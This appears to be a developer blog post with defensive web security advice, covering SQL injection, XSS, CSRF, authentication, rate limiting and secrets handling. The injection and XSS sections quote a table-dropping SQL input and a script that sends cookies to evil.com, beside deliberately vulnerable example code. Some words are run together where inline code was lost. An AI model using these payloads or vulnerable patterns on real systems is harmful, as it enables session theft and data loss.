Web Security Every Developer Must Know in 2026
Security is not a feature you bolt on after launch. It is a discipline you build into every line of code from day one. The average cost of a data breach in 2026 is $4.9 million. The average time to detect one is 194 days. Most breaches exploit vulnerabilities that were known, documented, and preventable.
This guide is practical and code-first. No vague advice — just the attacks, how they work, and exactly how to stop them.
"Security is always excessive until it's not enough." — Robbie Sinclair
1. Injection Attacks: Still the #1 Killer
SQL injection has been on the OWASP Top 10 for over two decades. It is still responsible for thousands of breaches every year. The reason: developers keep concatenating user input into queries.
The Vulnerable Code
text// NEVER do this — classic SQL injection app.get('/users', async (req, res) => { const { name } = req.query; // If name = "'; DROP TABLE users; --" // This query becomes: SELECT * FROM users WHERE name = ''; DROP TABLE users; --' const query = `SELECT * FROM users WHERE name = '${name}'`; const users = await db.raw(query); res.json(users); });
The Fix: Parameterized Queries
text// Always use parameterized queries or an ORM import { db } from '@/lib/database'; // Option 1: Parameterized query (raw SQL) app.get('/users', async (req, res) => { const { name } = req.query; // The driver handles escaping — user input never touches the query string const users = await db.raw('SELECT * FROM users WHERE name = ?', [name]); res.json(users); }); // Option 2: ORM (Prisma) — parameterized by default app.get('/users', async (req, res) => { const { name } = req.query; const users = await prisma.user.findMany({ where: { name: String(name) }, }); res.json(users); }); // Option 3: Input validation before it even reaches the DB import { z } from 'zod'; const querySchema = z.object({ name: z.string().min(1).max(100).regex(/^[a-zA-Z\s]+$/), }); app.get('/users', async (req, res) => { const result = querySchema.safeParse(req.query); if (!result.success) return res.status(400).json({ error: 'Invalid input' }); const users = await prisma.user.findMany({ where: { name: result.data.name }, }); res.json(users); });
2. Cross-Site Scripting (XSS)
XSS lets attackers inject malicious scripts into pages viewed by other users. It can steal session cookies, redirect users, or silently exfiltrate data.
Stored XSS Example
text// Vulnerable: storing and rendering raw user input // User submits: <script>fetch('https://evil.com/steal?c='+document.cookie)</script> // BAD — rendering raw HTML function CommentList({ comments }: { comments: Comment[] }) { return ( <div> {comments.map(c => ( // dangerouslySetInnerHTML with unsanitized content = XSS <div key={c.id} dangerouslySetInnerHTML={{ __html: c.body }} /> ))} </div> ); }
text// GOOD — React escapes by default, use text content function CommentList({ comments }: { comments: Comment[] }) { return ( <div> {comments.map(c => ( // React automatically escapes this — no XSS possible <div key={c.id}>{c.body}</div> ))} </div> ); } // If you MUST render HTML (e.g., rich text from a CMS), sanitize first import DOMPurify from 'isomorphic-dompurify'; function RichContent({ html }: { html: string }) { const clean = DOMPurify.sanitize(html, { ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'h2', 'h3'], ALLOWED_ATTR: ['href', 'target', 'rel'], }); return <div dangerouslySetInnerHTML={{ __html: clean }} />; }
Content Security Policy (CSP)
CSP is your last line of defense against XSS. It tells the browser which sources are allowed to execute scripts.
text// next.config.mjs — add security headers const securityHeaders = [ { key: 'Content-Security-Policy', value: [ "default-src 'self'", "script-src 'self' 'nonce-{NONCE}'", // Only scripts with valid nonce "style-src 'self' 'unsafe-inline'", // Tailwind needs this "img-src 'self' data: https:", // Allow external images "font-src 'self'", "connect-src 'self' https://api.yourapp.com", "frame-ancestors 'none'", // Prevent clickjacking ].join('; '), }, { key: 'X-Frame-Options', value: 'DENY' }, { key: 'X-Content-Type-Options', value: 'nosniff' }, { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' }, { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' }, ]; export default { async headers() { return [{ source: '/(.*)', headers: securityHeaders }]; }, };
3. Authentication and Session Security
Broken authentication is OWASP #2. The mistakes are almost always the same.
Password Hashing
textimport bcrypt from 'bcryptjs'; // NEVER store plain text passwords // NEVER use MD5 or SHA1 for passwords // Registration async function createUser(email: string, password: string) { // Cost factor 12 = ~250ms on modern hardware (good balance) // Higher = slower brute force, but also slower login const hashedPassword = await bcrypt.hash(password, 12); return prisma.user.create({ data: { email, password: hashedPassword }, }); } // Login async function verifyPassword(plaintext: string, hash: string): Promise<boolean> { // bcrypt.compare is timing-safe — prevents timing attacks return bcrypt.compare(plaintext, hash); }
JWT Best Practices
textimport jwt from 'jsonwebtoken'; const ACCESS_TOKEN_SECRET = process.env.JWT_ACCESS_SECRET!; const REFRESH_TOKEN_SECRET = process.env.JWT_REFRESH_SECRET!; // Short-lived access token + long-lived refresh token function generateTokens(userId: string) { const accessToken = jwt.sign( { sub: userId, type: 'access' }, ACCESS_TOKEN_SECRET, { expiresIn: '15m' } // Short expiry — limits damage if stolen ); const refreshToken = jwt.sign( { sub: userId, type: 'refresh' }, REFRESH_TOKEN_SECRET, { expiresIn: '7d' } ); return { accessToken, refreshToken }; } // Verify with explicit algorithm — prevents algorithm confusion attacks function verifyAccessToken(token: string) { return jwt.verify(token, ACCESS_TOKEN_SECRET, { algorithms: ['HS256'], // Never allow 'none' algorithm }); }
text// Store refresh tokens in httpOnly cookies — not localStorage // localStorage is accessible to JavaScript (XSS can steal it) // httpOnly cookies are NOT accessible to JavaScript export async function POST(req: Request) { const { email, password } = await req.json(); const user = await authenticateUser(email, password); const { accessToken, refreshToken } = generateTokens(user.id); const response = NextResponse.json({ accessToken, user }); // Refresh token in httpOnly cookie response.cookies.set('refresh_token', refreshToken, { httpOnly: true, // Not accessible via document.cookie secure: true, // HTTPS only sameSite: 'lax', // CSRF protection maxAge: 60 * 60 * 24 * 7, // 7 days path: '/api/auth/refresh', }); return response; }
localStoragehttpOnly4. CSRF: Cross-Site Request Forgery
CSRF tricks authenticated users into making unintended requests. A malicious site can submit a form to your API using the victim's cookies.
text// Middleware: CSRF protection for state-changing routes import { NextRequest, NextResponse } from 'next/server'; import crypto from 'crypto'; // Double-submit cookie pattern export function generateCsrfToken(): string { return crypto.randomBytes(32).toString('hex'); } export function validateCsrfToken(req: NextRequest): boolean { const cookieToken = req.cookies.get('csrf_token')?.value; const headerToken = req.headers.get('x-csrf-token'); if (!cookieToken || !headerToken) return false; // Timing-safe comparison return crypto.timingSafeEqual( Buffer.from(cookieToken), Buffer.from(headerToken) ); } // In your API routes export async function POST(req: NextRequest) { if (!validateCsrfToken(req)) { return NextResponse.json({ error: 'Invalid CSRF token' }, { status: 403 }); } // ... handle request }
Origin/api/*5. Rate Limiting and Brute Force Protection
Without rate limiting, your login endpoint is an open invitation for credential stuffing attacks.
text// Using Upstash Redis for distributed rate limiting import { Ratelimit } from '@upstash/ratelimit'; import { Redis } from '@upstash/redis'; const ratelimit = new Ratelimit({ redis: Redis.fromEnv(), limiter: Ratelimit.slidingWindow(5, '15 m'), // 5 attempts per 15 minutes analytics: true, }); export async function POST(req: NextRequest) { const ip = req.headers.get('x-forwarded-for') ?? '127.0.0.1'; const identifier = `login:${ip}`; const { success, limit, reset, remaining } = await ratelimit.limit(identifier); if (!success) { return NextResponse.json( { error: 'Too many login attempts. Try again later.' }, { status: 429, headers: { 'X-RateLimit-Limit': String(limit), 'X-RateLimit-Remaining': String(remaining), 'X-RateLimit-Reset': String(reset), 'Retry-After': String(Math.ceil((reset - Date.now()) / 1000)), }, } ); } // Proceed with authentication const { email, password } = await req.json(); // ... }
6. Dependency Security: The Supply Chain Problem
In 2026, supply chain attacks are the fastest-growing attack vector. The
node_modulestext# Audit your dependencies regularly npm audit # Fix automatically where possible npm audit fix # Check for known malicious packages npx is-website-vulnerable https://yoursite.com # Pin exact versions in package.json (not ranges) # BAD: "lodash": "^4.17.0" ← could install 4.17.21 with a vulnerability # GOOD: "lodash": "4.17.21" ← exact version, predictable
text# Use lockfiles and verify them in CI # package-lock.json or yarn.lock must be committed and verified # GitHub Dependabot — enable in .github/dependabot.yml
text# .github/dependabot.yml version: 2 updates: - package-ecosystem: "npm" directory: "/" schedule: interval: "weekly" open-pull-requests-limit: 10 # Auto-merge patch updates groups: patch-updates: update-types: ["patch"]
event-streamua-parser-jsnode-ipc7. Environment Variables and Secrets Management
text// NEVER commit secrets to git // NEVER log secrets // NEVER expose server secrets to the client // next.config.mjs — only expose what the client needs export default { env: { // These are exposed to the browser — only public values NEXT_PUBLIC_APP_URL: process.env.NEXT_PUBLIC_APP_URL, NEXT_PUBLIC_POSTHOG_KEY: process.env.NEXT_PUBLIC_POSTHOG_KEY, }, // Server-only secrets are accessed via process.env directly // They are NEVER sent to the client }; // Validate all env vars at startup import { z } from 'zod'; const envSchema = z.object({ DATABASE_URL: z.string().url(), JWT_SECRET: z.string().min(32), OPENAI_API_KEY: z.string().startsWith('sk-'), NEXT_PUBLIC_APP_URL: z.string().url(), }); // This throws at build time if any required env var is missing export const env = envSchema.parse(process.env);
text# .gitignore — make sure these are always ignored .env .env.local .env.production .env*.local *.pem *.key secrets/
process.env.DATABASE_URLsk-git-secretstruffleHog8. Security Headers Checklist
text// middleware.ts — apply security headers to every response import { NextResponse } from 'next/server'; import type { NextRequest } from 'next/server'; export function middleware(request: NextRequest) { const response = NextResponse.next(); // Prevent MIME type sniffing response.headers.set('X-Content-Type-Options', 'nosniff'); // Prevent clickjacking response.headers.set('X-Frame-Options', 'DENY'); // Force HTTPS for 1 year, include subdomains response.headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload'); // Control referrer information response.headers.set('Referrer-Policy', 'strict-origin-when-cross-origin'); // Disable browser features you don't use response.headers.set('Permissions-Policy', 'camera=(), microphone=(), geolocation=(), payment=()'); return response; }
9. The Security Mindset
| Principle | What it means in practice |
|---|---|
| Least Privilege | API keys, DB users, and IAM roles should have only the permissions they need |
| Defense in Depth | Multiple layers — validation, auth, rate limiting, CSP, monitoring |
| Fail Secure | When something goes wrong, default to denying access, not granting it |
| Zero Trust | Verify every request, even from internal services |
| Shift Left | Find vulnerabilities in development, not production |
npm auditWatch: Web Security Fundamentals

The Bottom Line
Security is not about being paranoid. It is about being systematic. Most breaches are not sophisticated zero-days — they are basic mistakes that were never fixed. Parameterize your queries. Hash your passwords. Validate your inputs. Add security headers. Audit your dependencies.
Do these things consistently and you will be more secure than 90% of the web.

Vighnesh Salunkhe
"Passionate about building scalable web applications and exploring the intersection of AI and human creativity."
Join the Conversation
Share your thoughts or ask a question